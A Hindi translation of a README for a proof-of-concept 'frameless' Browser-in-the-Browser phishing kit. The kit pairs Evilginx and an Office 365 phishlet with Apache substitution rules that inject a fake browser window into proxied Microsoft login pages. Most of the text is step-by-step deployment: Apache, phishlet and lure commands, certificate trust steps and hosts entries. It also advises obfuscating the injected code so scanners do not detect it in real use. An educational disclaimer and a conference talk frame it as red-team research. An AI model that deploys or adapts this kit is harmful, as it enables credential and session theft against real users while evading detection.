
ब्राउज़र इन द ब्राउज़र (BITB) के लिए एक नया दृष्टिकोण, बिना iframes के उपयोग के, जो Microsoft जैसे लॉगिन पेजों द्वारा लागू पारंपरिक framebusters को बायपास करने और Evilginx के साथ उपयोग की अनुमति देता है।
ब्राउज़र इन द ब्राउज़र (बीआईटीबी) के लिए एक नया दृष्टिकोण जो iframes का उपयोग नहीं करता है, जिससे माइक्रोसॉफ्ट जैसे लॉगिन पेजों द्वारा लागू पारंपरिक फ्रेमबस्टर्स को बायपास किया जा सकता है।
यह POC कोड इस नए बीआईटीबी को Evilginx और एक Microsoft Enterprise फिशलेट के साथ उपयोग करने के लिए बनाया गया है।

इसमें गहराई से जाने से पहले, मैं सुझाव देता हूं कि आप पहले BSides 2023 में मेरी बातचीत देखें, जहां मैंने इस अवधारणा को "परफेक्ट" फिशिंग हमले को तैयार करने के महत्वपूर्ण विवरणों के साथ पेश किया था। ▶ वीडियो देखें
यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। यह एक गैर-iframe आधारित ब्राउज़र इन द ब्राउज़र (बीआईटीबी) विधि प्रदर्शित करता है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। इस उपकरण का उपयोग केवल कानूनी और नैतिक रूप से, साइबर सुरक्षा रक्षा परीक्षण के लिए नियंत्रित वातावरण में करें। इस उपकरण का उपयोग करके, आप जिम्मेदारी से और अपने जोखिम पर ऐसा करने के लिए सहमत हैं।
पिछले एक वर्ष में, मैं "परफेक्ट" फिशिंग हमले को तैयार करने के लिए विभिन्न तरकीबों के साथ प्रयोग कर रहा हूं। लोगों को देखने के लिए प्रशिक्षित किए जाने वाले विशिष्ट "लाल झंडे" तात्कालिकता, धमकी, अधिकार, खराब व्याकरण आदि हैं। आजकल लोग अगली सबसे अच्छी चीज़ जांचते हैं वह है वेबसाइट का लिंक/यूआरएल जिसके साथ वे बातचीत कर रहे हैं, और जैसे ही उन्हें ईमेल और पासवर्ड जैसी संवेदनशील क्रेडेंशियल्स दर्ज करने के लिए कहा जाता है, वे बहुत सावधान हो जाते हैं।
यहीं पर ब्राउज़र इन द ब्राउज़र (बीआईटीबी) ने भूमिका निभाई। मूल रूप से @mrd0x द्वारा प्रस्तुत, बीआईटीबी एक विश्वसनीय ब्राउज़र विंडो का रूप बनाने की अवधारणा है जिसके अंदर हमलावर सामग्री को नियंत्रित करता है (एक iframe के अंदर दुर्भावनापूर्ण वेबसाइट परोसकर)। हालांकि, नकली ब्राउज़र विंडो का नकली यूआरएल बार वैध साइट पर सेट होता है जिसकी उपयोगकर्ता अपेक्षा करता है। Evilginx जैसे टूल के साथ यह एक विश्वसनीय फिशिंग हमले के लिए सही नुस्खा बन जाता है।
समस्या यह है कि पिछले कुछ महीनों/वर्षों में, माइक्रोसॉफ्ट जैसी प्रमुख वेबसाइटों ने "फ्रेमबस्टर्स/फ्रेमकिलर्स" नामक विभिन्न छोटी-छोटी तरकीबें लागू की हैं, जो मुख्य रूप से iframes को तोड़ने का प्रयास करती हैं जिनका उपयोग प्रॉक्सी की गई वेबसाइट को परोसने के लिए किया जा सकता है, जैसे Evilginx के मामले में।
संक्षेप में, Evilginx + बीआईटीबी अब माइक्रोसॉफ्ट जैसी वेबसाइटों के लिए काम नहीं करता है। कम से कम ऐसे बीआईटीबी के साथ नहीं जो iframes पर निर्भर करता है।
एक ब्राउज़र इन द ब्राउज़र (बीआईटीबी) बिना किसी iframe के! जितना सरल है।
इसका मतलब है कि अब हम माइक्रोसॉफ्ट जैसी वेबसाइटों पर Evilginx के साथ बीआईटीबी का उपयोग कर सकते हैं।
यहां Evilginx सिर्फ एक मजबूत उदाहरण है, लेकिन इसी अवधारणा का उपयोग अन्य उपयोग-मामलों के लिए भी किया जा सकता है।
फ्रेमबस्टर्स विशेष रूप से iframes को लक्षित करते हैं, इसलिए विचार iframes के उपयोग के बिना बीआईटीबी प्रभाव बनाना है, और प्रॉक्सी किए गए पेज की मूल संरचना/सामग्री को बाधित किए बिना। यह सर्च और रिप्लेस (उर्फ प्रतिस्थापन) का उपयोग करके मूल सामग्री के अलावा स्क्रिप्ट और HTML इंजेक्ट करके प्राप्त किया जा सकता है, फिर दृश्य प्रभाव बनाने के लिए पूरी तरह से HTML/CSS/JS तरकीबों पर निर्भर रहना। हम लैंडिंग पेज (पृष्ठभूमि) की सामग्री को इस तरह रखने के लिए HTML में "शैडो डोम" नामक एक अतिरिक्त तरकीब का भी उपयोग करते हैं कि यह प्रॉक्सी की गई सामग्री में हस्तक्षेप न करे, जिससे हम छोटे अतिरिक्त JS स्क्रिप्ट के साथ किसी भी लैंडिंग पेज का लचीले ढंग से उपयोग कर सकें।
एक स्थानीय लिनक्स वीएम बनाएं। (मैं व्यक्तिगत रूप से वीएमवेयर प्लेयर या पैरेलल्स डेस्कटॉप पर उबंटू 22 का उपयोग करता हूं)
सिस्टम पैकेज अपडेट और अपग्रेड करें:
sudo apt update && sudo apt upgrade -y
एक नया evilginx उपयोगकर्ता बनाएं, और उपयोगकर्ता को sudo समूह में जोड़ें:
sudo su
adduser evilginx
usermod -aG sudo evilginx
जांचें कि evilginx उपयोगकर्ता sudo समूह में है:
su - evilginx
sudo ls -la /root
उपयोगकर्ता की होम डायरेक्टरी पर जाएं:
cd /home/evilginx
(आप सब कुछ sudo उपयोगकर्ता के रूप में भी कर सकते हैं क्योंकि हम सब कुछ स्थानीय रूप से चला रहे हैं)
Evilginx डाउनलोड और बिल्ड करें: आधिकारिक दस्तावेज़
Evilginx फ़ाइलों को /home/evilginx पर कॉपी करें
गो इंस्टॉल करें: आधिकारिक दस्तावेज़
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
जोड़ें: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
जांचें:
go version
make इंस्टॉल करें:
sudo apt install make
Evilginx बिल्ड करें:
cd /home/evilginx/evilginx2
make
हमारे evilginx बिल्ड के लिए फिशलेट्स और रीडायरेक्टर्स के साथ एक नई निर्देशिका बनाएं:
mkdir /home/evilginx/evilginx
बिल्ड, फिशलेट्स और रीडायरेक्टर्स कॉपी करें:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
उबंटू फ़ायरवॉल त्वरित सुधार (@kgretzky को धन्यवाद)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
उबंटू पर, यदि आपको Failed to start nameserver on: :53 त्रुटि मिलती है, तो इस फ़ाइल को संशोधित करने का प्रयास करें
sudo nano /etc/systemd/resolved.conf
DNSStubListener को no में संपादित/जोड़ें > DNSStubListener=no
फिर
sudo systemctl restart systemd-resolved
चूंकि हम Apache2 का उपयोग Evilginx के सामने करेंगे, हमें Evilginx को 443 के अलावा किसी अन्य पोर्ट पर सुनने के लिए बनाना होगा।
nano ~/.evilginx/config.json
https_port को 443 से 8443 में बदलें
Apache2 इंस्टॉल करें:
sudo apt install apache2 -y
उपयोग किए जाने वाले Apache2 मॉड्स सक्षम करें: (हम access_compat मॉड्यूल को भी अक्षम कर रहे हैं क्योंकि यह कभी-कभी समस्या पैदा करता है)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Apache प्रारंभ और सक्षम करें:
sudo systemctl start apache2
sudo systemctl enable apache2
होस्ट मशीन पर ब्राउज़र से वीएम के आईपी पर जाकर जांचें कि Apache और VM नेटवर्किंग काम करता है या नहीं।
यदि पहले से उपलब्ध नहीं है तो git इंस्टॉल करें:
sudo apt -y install git
इस रेपो को क्लोन करें:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
हम जिन पेजों को सर्व करेंगे उनके लिए निर्देशिकाएं बनाएं:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
प्रत्येक पेज के लिए निर्देशिकाएं कॉपी करें:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
वैकल्पिक: डिफ़ॉल्ट Apache पेज हटाएं (उपयोग नहीं किया गया):
sudo rm -r /var/www/html/
O365 फिशलेट को फिशलेट्स निर्देशिका में कॉपी करें:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
वैकल्पिक: Calendly विजेट को अपने खाते का उपयोग करने के लिए सेट करने के लिए (मेरे डिफ़ॉल्ट के बजाय), pages/primary/script.js पर जाएं और CALENDLY_PAGE_NAME और CALENDLY_EVENT_TYPE बदलें।
डेमो ऑबफस्केशन पर ध्यान दें: जैसा कि मैं वॉकथ्रू वीडियो में समझाता हूं, मैंने बीआईटीबी के यूआरएल और शीर्षक जैसी टेक्स्ट सामग्री के लिए न्यूनतम ऑबफस्केशन शामिल किया है। आप अपने ब्राउज़र में demo-obfuscator.html खोलकर डेमो ऑबफस्केटर खोल सकते हैं।
एक वास्तविक दुनिया के परिदृश्य में, मैं अत्यधिक अनुशंसा करूंगा कि आप इंजेक्ट किए गए HTML कोड के बड़े हिस्से को ऑबफस्केट करें या पहचाने जाने और फ्लैग होने से बचने के लिए JS ट्रिक्स का उपयोग करें। मैं जिस उन्नत संस्करण पर काम कर रहा हूं, वह स्कैनर्स के लिए बीआईटीबी कोड को फिंगरप्रिंट/डिटेक्ट करना लगभग असंभव बनाने के लिए उन्नत ट्रिक्स के संयोजन का उपयोग करेगा, इसलिए जुड़े रहें।
चूंकि हम सब कुछ स्थानीय रूप से चला रहे हैं, हमें सेल्फ-साइन्ड SSL प्रमाणपत्र उत्पन्न करने की आवश्यकता है जो Apache द्वारा उपयोग किए जाएंगे। Evilginx को प्रमाणपत्रों की आवश्यकता नहीं होगी क्योंकि हम इसे डेवलपर मोड में चलाएंगे।
हम डोमेन fake.com का उपयोग करेंगे जो हमारे स्थानीय VM को इंगित करेगा। यदि आप एक अलग डोमेन का उपयोग करना चाहते हैं, तो सुनिश्चित करें कि आप सभी फ़ाइलों (Apache conf फ़ाइलें, JS फ़ाइलें, आदि) में डोमेन बदलें।
यदि मौजूद नहीं हैं तो निर्देशिका और माता-पिता बनाएं:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
OpenSSL कॉन्फ़िग फ़ाइल का उपयोग करके SSL प्रमाणपत्र उत्पन्न करें:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
निजी कुंजी अनुमतियां संशोधित करें:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
कस्टम प्रतिस्थापन फ़ाइलें कॉपी करें (हमारे दृष्टिकोण का मूल):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
महत्वपूर्ण नोट: इस रेपो में मैंने Chrome on Mac और Chrome on Windows BITB के लिए 2 प्रतिस्थापन कॉन्फ़िग शामिल किए हैं। दोनों में लाइट/डार्क मोड के लिए ऑटो-डिटेक्शन और स्टाइलिंग है और उन्हें अन्य ब्राउज़र/OS संयोजनों के लिए समान प्राप्त करने के लिए आधार टेम्पलेट के रूप में कार्य करना चाहिए। चूंकि मैंने हमारे फिशिंग पेज पर जाने वाले ब्राउज़र/OS संयोजन का स्वचालित पता लगाना शामिल नहीं किया है, इसलिए आपको दो में से एक का उपयोग करना होगा या स्वचालित स्विचिंग के लिए अपना स्वयं का तर्क लागू करना होगा।
/apache-configs/ के अंतर्गत दोनों कॉन्फ़िग फ़ाइलें समान हैं, केवल शामिल किए जाने वाले प्रतिस्थापन फ़ाइल के लिए उपयोग किए जाने वाले अलग-अलग इनक्लूड डायरेक्टिव के साथ। (प्रत्येक फ़ाइल के लिए 2 संदर्भ हैं)
# जिसे चाहिए उसे अनकमेंट करें और किसी भी बदलाव के बाद Apache को पुनरारंभ करना याद रखें:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
बस इसे आसान बनाने के लिए, मैंने अगले चरण के लिए दोनों संस्करणों को अलग-अलग फ़ाइलों के रूप में शामिल किया है।
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
यह सुनिश्चित करने के लिए Apache कॉन्फ़िग का परीक्षण करें कि कोई त्रुटि नहीं है:
sudo apache2ctl configtest
परिवर्तनों को लागू करने के लिए Apache को पुनरारंभ करें:
sudo systemctl restart apache2
ifconfig का उपयोग करके VM का IP प्राप्त करें और अगले चरण के लिए इसे कहीं नोट करें।
अब हमें अपनी होस्ट्स फ़ाइल में नई प्रविष्टियाँ जोड़ने की आवश्यकता है, ताकि इस डेमो में उपयोग किए जाने वाले डोमेन fake.com और सभी उपयोग किए गए सबडोमेन को हमारे VM पर इंगित किया जा सके जिस पर Apache और Evilginx चल रहे हैं।
Windows पर:
नोटपैड को व्यवस्थापक के रूप में खोलें (सर्च > नोटपैड > राइट-क्लिक > व्यवस्थापक के रूप में चलाएँ)
फ़ाइल विकल्प (ऊपर-बाएँ) पर क्लिक करें और फ़ाइल एक्सप्लोरर एड्रेस बार में निम्नलिखित कॉपी और पेस्ट करें:
C:\Windows\System32\drivers\etc\
फ़ाइल प्रकार (नीचे-दाएँ) को "सभी फ़ाइलें" में बदलें।
hosts नामक फ़ाइल पर डबल-क्लिक करें।
Mac पर:
टर्मिनल खोलें और निम्नलिखित चलाएँ:
sudo nano /private/etc/hosts
अब निम्नलिखित रिकॉर्ड संशोधित करें ([IP] को अपने VM के IP से बदलें) फिर होस्ट्स फ़ाइल के अंत में रिकॉर्ड पेस्ट करें:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
सहेजें और बाहर निकलें।
अब अगले चरण पर जाने से पहले अपने ब्राउज़र को पुनरारंभ करें।
नोट: Mac पर, DNS कैश फ्लश करने के लिए निम्नलिखित कमांड का उपयोग करें:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
यह डेमो प्रदान किए गए Office 365 Enterprise फिशलेट के साथ बनाया गया है। किसी भिन्न फिशलेट के लिए आपको जो होस्ट प्रविष्टियाँ जोड़ने की आवश्यकता है, उन्हें प्राप्त करने के लिए phishlet get-hosts [PHISHLET_NAME] का उपयोग करें लेकिन 127.0.0.1 को अपने VM के वास्तविक स्थानीय IP से बदलना याद रखें।
चूंकि हम सेल्फ-साइन्ड SSL प्रमाणपत्रों का उपयोग कर रहे हैं, हमारा ब्राउज़र हर बार fake.com पर जाने का प्रयास करने पर हमें चेतावनी देगा, इसलिए हमें अपनी होस्ट मशीन को SSL प्रमाणपत्रों पर हस्ताक्षर करने वाले प्रमाणपत्र प्राधिकरण पर भरोसा करने की आवश्यकता है।
इस चरण के लिए, वीडियो निर्देशों का पालन करना आसान है, लेकिन यहां संक्षेप में है।
अपने Chrome ब्राउज़र में https://fake.com/ खोलें।
असुरक्षित साइट चेतावनी को अनदेखा करें और पेज पर आगे बढ़ें।
SSL आइकन > विवरण > प्रमाणपत्र निर्यात करें पर क्लिक करें महत्वपूर्ण: सहेजते समय, विंडोज के लिए इसे सही ढंग से खोलने के लिए नाम .crt के साथ समाप्त होना चाहिए।
डबल-क्लिक करें > वर्तमान उपयोगकर्ता के लिए इंस्टॉल करें। स्वचालित का चयन न करें, इसके बजाय प्रमाणपत्र को विशिष्ट स्टोर में रखें: "विश्वसनीय रूट प्रमाणन प्राधिकरण" चुनें।
Mac पर: केवल वर्तमान उपयोगकर्ता के लिए इंस्टॉल करने के लिए > "कीचेन: लॉगिन" चुनें और "प्रमाणपत्र देखें" > विवरण > विश्वास > हमेशा विश्वास करें पर क्लिक करें।
अब अपने ब्राउज़र को पुनरारंभ करें
अब आप बिना किसी SSL चेतावनी के https://fake.com पर जाने में सक्षम होना चाहिए।
इस बिंदु पर, सब कुछ तैयार होना चाहिए, इसलिए हम आगे बढ़ सकते हैं और Evilginx शुरू कर सकते हैं, फिशलेट सेट कर सकते हैं, अपना लालच बना सकते हैं और इसका परीक्षण कर सकते हैं।
वैकल्पिक: tmux इंस्टॉल करें (टर्मिनल सत्र बंद होने पर भी evilginx चालू रखने के लिए। मुख्य रूप से रिमोट VM पर चलाने पर उपयोगी।)
sudo apt install tmux -y
Evilginx को डेवलपर मोड में प्रारंभ करें (सत्र खोने से बचने के लिए tmux का उपयोग करके):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(tmux सत्र से पुन: जुड़ने के लिए tmux attach-session -t evilginx का उपयोग करें)
Evilginx कॉन्फ़िग:
config domain fake.com
config ipv4 127.0.0.1
महत्वपूर्ण: Apache को ब्लैकलिस्ट करने से बचने के लिए Evilginx ब्लैकलिस्ट मोड को NoAdd पर सेट करें क्योंकि सभी अनुरोध Apache से आएंगे, न कि वास्तविक आगंतुक IP से।
blacklist noadd
फिशलेट और लालच सेटअप:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
लालच URL कॉपी करें और इसे अपने ब्राउज़र से देखें (परीक्षणों के बीच सभी सहेजे/कैश किए गए डेटा को हटाने से बचने के लिए Chrome पर अतिथि उपयोगकर्ता का उपयोग करें)।
@mrd0x द्वारा मूल iframe-आधारित BITB: https://github.com/mrd0x/BITB
Evilginx के निर्माता @kgretzky द्वारा Evilginx मास्टरी कोर्स: https://academy.breakdev.org/evilginx-mastery
BSides 2023 में मेरी बातचीत: https://www.youtube.com/watch?v=p1opa2wnRvg
Cloudflare और HTML ऑबफस्केशन का उपयोग करके Evilginx की सुरक्षा कैसे करें: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
@BakkerJan द्वारा Microsoft 365 के लिए Evilginx संसाधन: https://janbakker.tech/evilginx-resources-for-microsoft-365/